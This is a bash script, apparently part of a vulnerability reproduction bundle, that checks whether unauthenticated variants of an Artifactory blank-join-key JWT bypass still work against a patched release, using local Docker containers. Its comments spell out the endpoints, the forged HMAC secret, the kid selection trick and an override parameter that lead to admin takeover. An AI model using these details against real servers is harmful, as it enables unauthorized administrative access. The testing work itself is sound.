#!/bin/bash
# CVE-2026-82329 - VARIANT analysis: alternate unauthenticated entry points
# reaching the same blank-join-key sink in JFrog Artifactory's Access service.
#
# Parent exploit (bundle/repro): POST /access/api/v1/registry/join with an
# HS256 JWT signed with the blank-join-key HMAC secret (32 x 0x20).
#
# Variants tested (same root cause / sink, different entry point or key-
# selection data path):
#   A) router          POST /access/api/v1/registry/join/router
#                      (RegistryNoAuthResource.joinRouter -> JoinServiceImpl.joinRouter
#                       -> getValidatedJwtToken -> blank additional join key)
#   B) router-override same as A with ?override=true (skips node-id/IP checks)
#   C) join-kid        POST /access/api/v1/registry/join with explicit
#                      kid=sha256("") (kid-selected branch of getRelevantJoinKeys)
#
# Static basis (bundle/vuln_variant/decomp):
#   - RegistryNoAuthResource exposes TWO no-auth endpoints: /v1/registry/join
#     and /v1/registry/join/router; both delegate to JoinServiceImpl, which is
#     byte-identical between 7.146.25 and 7.146.38.
#   - JoinServiceImpl is the ONLY consumer of the join-key verification sink
#     (JoinKeyAccess.getTokenSignatureVerifiers / JoinKeyUtils.getSigningKey);
#     gRPC and other REST resources never reach it.
#   - The fix lives only in JoinKeyAccess (filter blank entries) and
#     JoinKeyHashPair (reject null/blank keys), so it should cover ALL variants.
#
# Exit 0 = a variant reproduced on the FIXED version (true bypass).
# Exit 1 = variants work only on the vulnerable version (no bypass; fix covers
#          all tested paths), or nothing reproduced. Full logs either way.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs/vuln_variant"
VARDIR="$ROOT/vuln_variant"
ARTIFACTS="$ROOT/artifacts/variant_http"
mkdir -p "$LOGS" "$ARTIFACTS" "$ROOT/artifacts/runtime"
cd "$ROOT"

VULN_IMAGE="${VULN_IMAGE:-releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.25}"
FIXED_IMAGE="${FIXED_IMAGE:-releases-docker.jfrog.io/jfrog/artifactory-jcr:7.146.38}"
NET=cve82329-var-net
VULN_PORT=8084
FIXED_PORT=8085
EXPLOIT="$VARDIR/exploit_join_router_variant.py"

log() { echo "[variant $(date -u +%H:%M:%S)] $*" | tee -a "$LOGS/reproduction_steps.log"; }

cleanup() {
  docker rm -f art-var-vuln art-var-fixed art-var-postgres >/dev/null 2>&1 || true
  docker network rm "$NET" >/dev/null 2>&1 || true
}
trap cleanup EXIT

# --- 0. prerequisites -------------------------------------------------------
for cmd in docker curl python3; do
  command -v "$cmd" >/dev/null || { log "missing required tool: $cmd"; exit 2; }
done
docker info >/dev/null 2>&1 || { log "docker daemon not available"; exit 2; }

# --- 1. images --------------------------------------------------------------
log "pulling images (may already be cached)"
docker pull "$VULN_IMAGE"  >>"$LOGS/docker_pull.log" 2>&1
docker pull "$FIXED_IMAGE" >>"$LOGS/docker_pull.log" 2>&1
docker pull postgres:16-alpine >>"$LOGS/docker_pull.log" 2>&1

# --- 2. infra ---------------------------------------------------------------
cleanup >/dev/null 2>&1 || true
docker network create "$NET" >/dev/null
docker run -d --name art-var-postgres --network "$NET" \
  --network-alias art-var-postgres \
  -e POSTGRES_USER=artifactory -e POSTGRES_PASSWORD=artifactory \
  -e POSTGRES_DB=artifactory postgres:16-alpine >/dev/null
log "waiting for postgres"
for i in $(seq 1 30); do
  docker exec art-var-postgres pg_isready -U artifactory >/dev/null 2>&1 && break
  sleep 2
done
docker exec art-var-postgres psql -U artifactory -d artifactory \
  -c "CREATE DATABASE artifactory_fixed" >/dev/null
log "postgres ready"

# start_artifactory <name> <image> <host_port> <db_name>
# Default config (external PostgreSQL only; NO join key / additional join keys
# configured) - same trust posture as the parent reproduction.
start_artifactory() {
  local name="$1" image="$2" port="$3" db="$4"
  local ydir="$ROOT/artifacts/runtime/$name"
  mkdir -p "$ydir"
  python3 -c 'import secrets; print(secrets.token_hex(16))' > "$ydir/master.key"
  cat > "$ydir/system.yaml" <<EOF
configVersion: 1
shared:
  database:
    type: postgresql
    driver: org.postgresql.Driver
    url: jdbc:postgresql://art-var-postgres:5432/$db
    username: artifactory
    password: artifactory
  node:
    ip: 127.0.0.1
EOF
  docker rm -f "$name" >/dev/null 2>&1 || true
  docker create --name "$name" --network "$NET" -p "$port":8082 "$image" >/dev/null
  docker cp "$ydir/system.yaml" "$name":/opt/jfrog/artifactory/var/etc/system.yaml
  docker cp "$ydir/master.key" "$name":/opt/jfrog/artifactory/var/etc/security/master.key
  docker start "$name" >/dev/null
  log "started $name ($image) on port $port, waiting for readiness"
  for i in $(seq 1 150); do
    if [ "$(curl -s -m 3 "http://127.0.0.1:$port/artifactory/api/system/ping" 2>/dev/null)" = "OK" ]; then
      log "$name ready after ~$((i*10))s"
      return 0
    fi
    sleep 10
  done
  log "$name FAILED to become ready"; docker logs "$name" >"$LOGS/$name-boot-failure.log" 2>&1; return 1
}

# run_variants <base_url> <label> -> echoes space-separated "mode:rc" pairs
run_variants() {
  local base="$1" label="$2" mode rc out=""
  for mode in router router-override join-kid; do
    set +e
    python3 "$EXPLOIT" "$base" "$ARTIFACTS/${label}_${mode}.json" "$mode" \
      2>&1 | tee -a "$LOGS/reproduction_steps.log" >&2
    rc=${PIPESTATUS[0]}
    set -e
    out="$out $mode:$rc"
    echo "[variant $(date -u +%H:%M:%S)] [$label] variant $mode rc=$rc (0=admin takeover via this entry point)" >> "$LOGS/reproduction_steps.log"
    echo "[variant $(date -u +%H:%M:%S)] [$label] variant $mode rc=$rc" >&2
  done
  echo "$out"
}

# --- 3. vulnerable instance --------------------------------------------------
start_artifactory art-var-vuln "$VULN_IMAGE" "$VULN_PORT" artifactory
docker exec art-var-vuln cat /opt/jfrog/artifactory/app/artifactory.product.version.properties \
  > "$LOGS/vuln_version.txt" 2>/dev/null || true

log "=== variant tests against VULNERABLE $VULN_IMAGE (zero credentials) ==="
VULN_RESULTS=$(run_variants "http://127.0.0.1:$VULN_PORT" vuln)

# --- 4. fixed instance (bypass test) -----------------------------------------
start_artifactory art-var-fixed "$FIXED_IMAGE" "$FIXED_PORT" artifactory_fixed
docker exec art-var-fixed cat /opt/jfrog/artifactory/app/artifactory.product.version.properties \
  > "$LOGS/fixed_version.txt" 2>/dev/null || true

log "=== identical variant tests against FIXED $FIXED_IMAGE (bypass test) ==="
FIXED_RESULTS=$(run_variants "http://127.0.0.1:$FIXED_PORT" fixed)

docker logs art-var-vuln  >"$LOGS/art-var-vuln-docker.log"  2>&1 || true
docker logs art-var-fixed >"$LOGS/art-var-fixed-docker.log" 2>&1 || true

# --- 5. verdict ---------------------------------------------------------------
log "vuln results:  $VULN_RESULTS"
log "fixed results: $FIXED_RESULTS"

VULN_ANY=false; FIXED_ANY=false
case "$VULN_RESULTS"  in *:0*) VULN_ANY=true;; esac
case "$FIXED_RESULTS" in *:0*) FIXED_ANY=true;; esac

if $FIXED_ANY; then
  log "RESULT: BYPASS - at least one variant reproduces on the FIXED version"
  exit 0
fi
if $VULN_ANY; then
  log "RESULT: VARIANTS confirmed on vulnerable version only; fixed version blocks all tested entry points (no bypass)"
else
  log "RESULT: no variant reproduced on either version"
fi
exit 1
